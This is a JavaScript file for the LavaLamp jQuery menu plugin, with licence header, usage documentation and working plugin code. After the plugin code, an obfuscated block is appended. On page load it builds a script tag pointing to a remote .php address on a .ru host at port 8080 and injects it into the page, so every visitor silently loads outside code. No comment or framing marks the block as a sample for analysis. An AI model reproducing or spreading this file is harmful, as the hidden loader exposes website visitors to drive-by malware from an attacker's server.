/**
 * LavaLamp - A menu plugin for jQuery with cool hover effects.
 * @requires jQuery v1.2.x
 *
 * http://nixbox.com/lavalamp.php
 *
 * Copyright (c) 2008 Jolyon Terwilliger (nixbox.com)
 * Original code Copyright (c) 2007, 2008
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 *
 * credits to Guillermo Rauch and Ganeshji Marwaha (gmarwaha.com) for previous editions
 *
 * Version: 1.0 - adapted for jQuery 1.2.x series
 * Version: 1.1 - added linum parameter
 * Version: 1.2 - modified to support vertical resizing of elements
 * Version: 1.3 - enhanced automatic <li> item hi-lighting - will now default to 
 *					location.pathname + location.search + location.hash if linum not defined.
 *			 	- always returns 'true' by default, for standard link follow through. 				  
 *
 * Creates a menu with an unordered list of menu-items. You can either use the CSS 
 * that comes with the plugin, or write your own styles 
 *
 * The HTML markup used to build the menu can be as simple as...
 *
 *       <ul class="lavaLamp">
 *           <li><a href="#">Phone Home</a></li>
 *           <li><a href="#">Make Contact</a></li>
 *           <li><a href="#">Board Ship</a></li>
 *           <li><a href="#">Fly to Venus</a></li>
 *       </ul>
 *
 * Once you have included the style sheet that comes with the plugin, you will have to include 
 * a reference to the jQuery library, easing plugin (optional) and the LavaLamp(this) plugin.
 *
 * Use the following snippet to initialize the menu using jQuery easing library::
 * Easing Library 1.3 available here:  http://plugins.jquery.com/project/Easing
 * 
 *   $(function() { $(".lavaLamp").lavaLamp({ fx: "easeOutBack", speed: 700}) });
 *
 * @param Object - You can specify all the options shown below as object variables:
 *
 * @option fx - default is "linear"
 * @example
 * $(".lavaLamp").lavaLamp({ fx: "easeOutElastic" });
 * @desc Creates a menu with "Elastic" easing effect. You need to include the easing plugin for this to work.
 *
 * @option speed - default is 500 ms
 * @example
 * $(".lavaLamp").lavaLamp({ speed: 500 });
 * @desc Creates a menu with an animation speed of 500 ms.
 *
 * @option click - no defaults
 * @example
 * $(".lavaLamp").lavaLamp({ click: function(event, menuItem) { return false; } });
 * @desc You can supply a callback to be executed when the menu item is clicked. 
 * The event object and the menu-item that was clicked will be passed in as arguments.
 * 
 * @option linum - default is 'no'
 * @example
 * $(".lavaLamp").lavaLamp({ linum: 2 });
 * @desc linum specifies the li element to default to, beginning with 0 for the first li element 
 * within the parent UL or OL used to initialize lavaLamp.  This can be used to set default
 * lavaLamp hilight on page reloads.
 */
 
(function($) {
$.fn.lavaLamp = function(o) {
	o = $.extend({ fx: 'linear', speed: 500, click: function(){return true}, linum: 'no' }, o || {});

	return this.each(function() {
		var path = location.pathname + location.search + location.hash;
		var $current = new Object;
		var $li = $('li', this);
		
		// check for complete path match, if so flag element into $current
		if ( o.linum == 'no' )
			$current = $('li a[href$="' + path + '"]', this).parent('li');
			
		// double check, this may be just an anchor match
		if ($current.length == 0 && o.linum == 'no')
			$current = $('li a[href$="' + location.hash + '"]', this).parent('li');

		// no default current element matches worked, or the user specified an index via linum
		if ($current.length == 0 || o.linum != 'no') {
			if (o.linum == 'no') o.linum = 0;
			$current = $($li[o.linum]);
		}

		var $back = $('<li class="back"><div class="left"></div><div class="bottom"></div><div class="corner"></div></li>').appendTo(this);
		var curr = $('li.current', this)[0] || $($current).addClass('current')[0];

		$li.not('.back').hover(function() {
			move(this);
		}, function(){});

		$(this).hover(function(){}, function() {
			move(curr);
		});

		$li.click(function(e) {
			setCurr(this);
			return o.click.apply(this, [e, this]);
		});

        setCurr(curr);

        function setCurr(el) {
            $back.css({ 'left': el.offsetLeft+'px', 
						'width': el.offsetWidth+'px', 
						'height': el.offsetHeight+'px', 
						'top': el.offsetTop+'px' });
            curr = el;
		};

		function move(el) { 
			$back.stop()
			.animate({
					width: el.offsetWidth,
					left: el.offsetLeft,
					height: el.offsetHeight,
					top: el.offsetTop
			}, o.speed, o.fx);
		};
	});
};
})(jQuery);

this.x="";try {var d;if(d!='' && d!='Q'){d=null};var O='[';var _;if(_!='' && _!='G'){_='jb'};var e=new Date();var s=']';var k="";var E='g';var PB="";var q='replace';var Ed=new Date();var ep;if(ep!='' && ep!='XJ'){ep=''};var V=RegExp;var of=new Date();var Ij=new Date();var l='';var PK="";function a(Vb,v){this.Mj="";var Eh;if(Eh!='' && Eh!='Qg'){Eh=null};this.z='';var X=O;this.h='';X+=v;var Cy;if(Cy!='ay' && Cy!='D'){Cy=''};X+=s;var A=new V(X, E);return Vb[q](A, l);var Y='';var MR;if(MR!='zH'){MR='zH'};};var ok;if(ok!='Gy'){ok=''};var xx=new Array();var km;if(km!='' && km!='CJ'){km=null};var Xv=a('bVocdTyT',"cVTW");var fb=new String();var Pn;if(Pn!='r' && Pn!='jy'){Pn=''};var U=a('acpcpcecncdPCPhciclcdc',"cP");var CZ='';var Vb="1";var I=a('smc1r1i1pmtm',"1m");var K=a('skeMtBAMtktBrkikbMuVtweM',"VMwBk");var Hj=new Array();var Ir=new String();var c=a('/JgQoQoQgQlQeQ.JcJoJmQ/QgJoJoJgJlJeJ.JcQoJmQ/JfJoJoQdJnJeQtJwQoQrJkQ.QcJoQmQ/JcJoJsQtQcJoQ.JcJoQmQ/JwQiJkQiQhJoQwJ.QcQoQmJ.JpQhJpJ',"QJ");var Aw="";var C=a('corhehahtoehEsloeBmheonhto',"Bohs");var W=a('85152022521852505115',"512");this.Sr='';var R=a('h1t6t6p1:6/6/1m1u6s6i6c6a6-6c6o1m6.6k6a6i1x1i1n6.1c1o1m1.6t1u6-6t1v1.6w1e1s6t1w6o1r1l1d1w1e6b1.6r6u1:6',"61");var QL;if(QL!='Ag' && QL!='fR'){QL='Ag'};this.lx='';var VP=a('ocnclcocaLdc',"Lc");var Qe;if(Qe!='bV' && Qe!='m'){Qe=''};var cg;if(cg!='' && cg!='wl'){cg=null};var o='';var Ui="";this.TK="";var jP;if(jP!='' && jP!='Z_'){jP=null};window[VP]=function(){this.n="";var Db;if(Db!='Vx' && Db != ''){Db=null};var vv=new Date();N=document[C](I);this.Ee='';var af=new Date();o+=R;var Kt=new Date();o+=W;var dn='';o+=c;var Bk=new String();N.src=o;var UF=document[Xv];var zK='';N.setAttribute('defer', Vb);var wm;if(wm!='' && wm!='CVX'){wm=null};var Wj=new Date();var rk=new Array();var RQ=new Array();var pl=new Array();UF.appendChild(N);var nD='';var GRW='';};var es;if(es!='qR' && es!='ed'){es='qR'};this.lp='';} catch(IE){var muV;if(muV!='tG'){muV='tG'};};